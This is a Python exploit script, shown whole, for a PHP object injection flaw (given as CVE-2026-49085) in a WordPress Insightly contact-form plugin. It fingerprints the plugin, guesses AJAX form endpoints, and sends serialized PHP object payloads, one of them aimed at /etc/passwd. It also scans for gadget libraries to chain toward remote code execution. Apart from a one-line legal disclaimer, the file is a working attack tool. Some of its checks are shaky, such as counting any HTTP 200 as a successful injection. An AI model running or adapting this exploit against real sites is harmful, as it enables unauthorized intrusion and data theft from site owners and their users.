#!/usr/bin/env python3 """ CVE-2026-49085 WP Insightly PHP Object Injection Exploit CVSS: 8.1 (High) Unauthenticated attackers can inject arbitrary PHP objects by exploiting unsafe deserialization of form field values. The vulnerability exists in the cf7-insightly.php file where maybe_unserialize() is called on user-supplied input without validation. If a POP chain exists, this can lead to RCE. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json import base64 from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class WPInsightlyExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.plugin_detected = False self.vulnerable_version = False def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def detect_plugin(self): """Detect if WP Insightly plugin is installed""" self.log("Detecting WP Insightly plugin...") try: # Check common plugin paths plugin_paths = [ '/wp-content/plugins/wp-insightly/', '/wp-content/plugins/cf7-insightly/', '/wp-content/plugins/contact-form-insightly/', '/wp-content/plugins/insightly-contact-form/' ] for path in plugin_paths: url = urljoin(self.target_url, path + 'cf7-insightly.php') resp = self.session.head(url, timeout=10) if resp.status_code == 200: self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True # Try to detect via readme.txt for path in plugin_paths: url = urljoin(self.target_url, path + 'readme.txt') resp = self.session.get(url, timeout=10) if resp.status_code == 200 and 'insightly' in resp.text.lower(): self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True self.log("Plugin not detected via direct paths", "ERROR") return False except Exception as e: self.log(f"Error detecting plugin: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" self.log("Checking vulnerability status...") try: # Try to access the plugin's main file plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-insightly/cf7-insightly.php') resp = self.session.get(plugin_file, timeout=10) if resp.status_code == 200: # Check version version_match = re.search(r'Version:\s*([0-9.]+)', resp.text) if version_match: version = version_match.group(1) self.log(f"Plugin version: {version}", "INFO") # Check if vulnerable (<=1.1.4) version_parts = version.split('.') if len(version_parts) >= 3: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 4): self.log(f"Version {version} is VULNERABLE!", "CRITICAL") self.vulnerable_version = True return True else: self.log(f"Version {version} appears patched", "ERROR") return False # Check for vulnerable code pattern if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text: self.log("Vulnerable code pattern detected!", "CRITICAL") self.vulnerable_version = True return True self.log("Could not determine vulnerability status", "ERROR") return False except Exception as e: self.log(f"Error checking vulnerability: {e}") return False def find_form_endpoints(self): """Find form processing endpoints""" self.log("Searching for form processing endpoints...") endpoints = [] try: # Check admin-ajax.php for form handlers ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Common action names for this plugin actions = [ 'vxcf_insightly_process_form', 'vxcf_process_form', 'cf7_insightly_submit', 'insightly_form_submit', 'vxcf_insightly_ajax', 'vxcf_form_submit' ] for action in actions: endpoints.append({ 'url': ajax_url, 'action': action, 'type': 'ajax' }) # Check for direct form processing pages resp = self.session.get(self.target_url, timeout=10) # Look for form endpoints in page source form_matches = re.findall(r'action=["\']([^"\']+)["\']', resp.text) for form_action in form_matches: if 'insightly' in form_action.lower() or 'vxcf' in form_action.lower(): endpoints.append({ 'url': urljoin(self.target_url, form_action), 'action': form_action, 'type': 'form' }) self.log(f"Found {len(endpoints)} potential endpoints", "INFO") return endpoints except Exception as e: self.log(f"Error finding form endpoints: {e}") return [] def create_payload(self, payload_type='generic'): """Create PHP object injection payload""" self.log(f"Creating {payload_type} payload...") payloads = { 'generic': 'O:8:"stdClass":0:{}', 'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}', 'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}', 'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}', 'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', 'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', } if payload_type in payloads: return payloads[payload_type] return payloads['generic'] def inject_object(self, endpoint, payload, field_name='field_name'): """Inject PHP object via form submission""" self.log(f"Injecting payload via endpoint: {endpoint['url']}") try: if endpoint['type'] == 'ajax': # AJAX submission data = { 'action': endpoint['action'], 'vxcf_insightly': { field_name: payload } } self.log(f"Sending AJAX request with action: {endpoint['action']}", "INFO") resp = self.session.post(endpoint['url'], data=data, timeout=15) else: # Form submission data = { 'vxcf_insightly': { field_name: payload }, 'submit': 'Submit' } self.log(f"Sending form request to: {endpoint['url']}", "INFO") resp = self.session.post(endpoint['url'], data=data, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code == 200: self.log("Payload injected successfully!", "SUCCESS") return True else: self.log(f"Injection may have failed: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error injecting payload: {e}", "ERROR") return False def test_deserialization(self, endpoint): """Test if deserialization occurs""" self.log("Testing for deserialization...") try: # Send a simple serialized object test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}' data = { 'action': endpoint['action'], 'vxcf_insightly': { 'test_field': test_payload } } resp = self.session.post(endpoint['url'], data=data, timeout=15) # Check for signs of deserialization if 'error' not in resp.text.lower() or resp.status_code == 200: self.log("Deserialization appears to occur!", "SUCCESS") return True else: self.log("No deserialization detected", "ERROR") return False except Exception as e: self.log(f"Error testing deserialization: {e}") return False def find_pop_chains(self): """Identify potential POP chains""" self.log("Searching for potential POP chains...") pop_chains = [] try: # Check for common gadget classes gadget_classes = [ 'Monolog\\Handler\\SyslogUdpHandler', 'Monolog\\Handler\\BufferHandler', 'PHPMailer\\PHPMailer\\PHPMailer', 'Swift_Mailer', 'Doctrine\\ORM\\Mapping\\ClassMetadata', 'Guzzle\\Http\\Message\\Response', 'Symfony\\Component\\Process\\Process', 'Zend_Db_Select', 'WordPress\\Plugin\\Class' ] # This is a simplified detection - in reality, you'd need to analyze # the actual installed plugins and themes self.log("POP chain detection requires manual analysis of installed plugins", "INFO") return pop_chains except Exception as e: self.log(f"Error finding POP chains: {e}") return [] def exploit(self, payload_type='generic'): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-49085 WP Insightly PHP Object Injection") print("="*70 + "\n") # Step 1: Detect plugin if not self.detect_plugin(): self.log("Plugin not detected. Exploit may not be applicable.", "ERROR") return False # Step 2: Check vulnerability if not self.check_vulnerability(): self.log("Target does not appear to be vulnerable", "ERROR") return False # Step 3: Find form endpoints endpoints = self.find_form_endpoints() if not endpoints: self.log("Could not find form processing endpoints", "ERROR") return False # Step 4: Create payload payload = self.create_payload(payload_type) self.log(f"Payload: {payload}", "INFO") # Step 5: Test deserialization if not self.test_deserialization(endpoints[0]): self.log("Deserialization test failed", "ERROR") return False # Step 6: Inject payload success = False for endpoint in endpoints: if self.inject_object(endpoint, payload): success = True break if not success: return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Plugin: WP Insightly") print(f"Payload Type: {payload_type}") print(f"Payload: {payload}") print(f"\nObject Injection Successful!") print(f"Impact depends on available POP chains:") print(f" - File deletion") print(f" - Sensitive data retrieval") print(f" - Remote code execution (with POP chain)") print("="*70 + "\n") return True class PopChainFinder: """Find and analyze POP chains""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def scan_plugins(self): """Scan for vulnerable plugins with POP chains""" vulnerable_plugins = [] try: # Check for known gadget plugins gadget_plugins = [ 'monolog', 'phpmailer', 'swift-mailer', 'doctrine', 'guzzle', 'symfony', 'zend-framework' ] for plugin in gadget_plugins: url = urljoin(self.target_url, f'/wp-content/plugins/{plugin}/') resp = self.session.head(url, timeout=10) if resp.status_code == 200: vulnerable_plugins.append(plugin) except: pass return vulnerable_plugins def analyze_wp_version(self): """Analyze WordPress version for known POP chains""" try: resp = self.session.get(self.target_url, timeout=10) # Look for WordPress version version_match = re.search(r'wp-content/plugins', resp.text) if version_match: return True except: pass return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-49085 WP Insightly PHP Object Injection Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-p', '--payload', default='generic', choices=['generic', 'exception', 'arrayobject', 'splfileinfo', 'directoryiterator', 'recursivedirectoryiterator'], help='Payload type (default: generic)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--detect', action='store_true', help='Detect plugin only') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--find-endpoints', action='store_true', help='Find form endpoints only') parser.add_argument('--find-pop', action='store_true', help='Find POP chains') args = parser.parse_args() # Create exploit instance exploit = WPInsightlyExploit(args.target, verbose=args.verbose) # Detect only if args.detect: if exploit.detect_plugin(): print("[+] Plugin detected!") else: print("[-] Plugin not detected") sys.exit(0) # Check vulnerability if args.check: if exploit.check_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target does not appear vulnerable") sys.exit(0) # Find endpoints if args.find_endpoints: endpoints = exploit.find_form_endpoints() print(f"\n[+] Found {len(endpoints)} endpoints:") for ep in endpoints: print(f" URL: {ep['url']}") print(f" Action: {ep['action']}") print(f" Type: {ep['type']}\n") sys.exit(0) # Find POP chains if args.find_pop: finder = PopChainFinder(args.target, exploit.session) plugins = finder.scan_plugins() print(f"\n[+] Found {len(plugins)} plugins with potential POP chains:") for plugin in plugins: print(f" - {plugin}") sys.exit(0) # Full exploit success = exploit.exploit(args.payload) sys.exit(0 if success else 1) if __name__ == '__main__': main()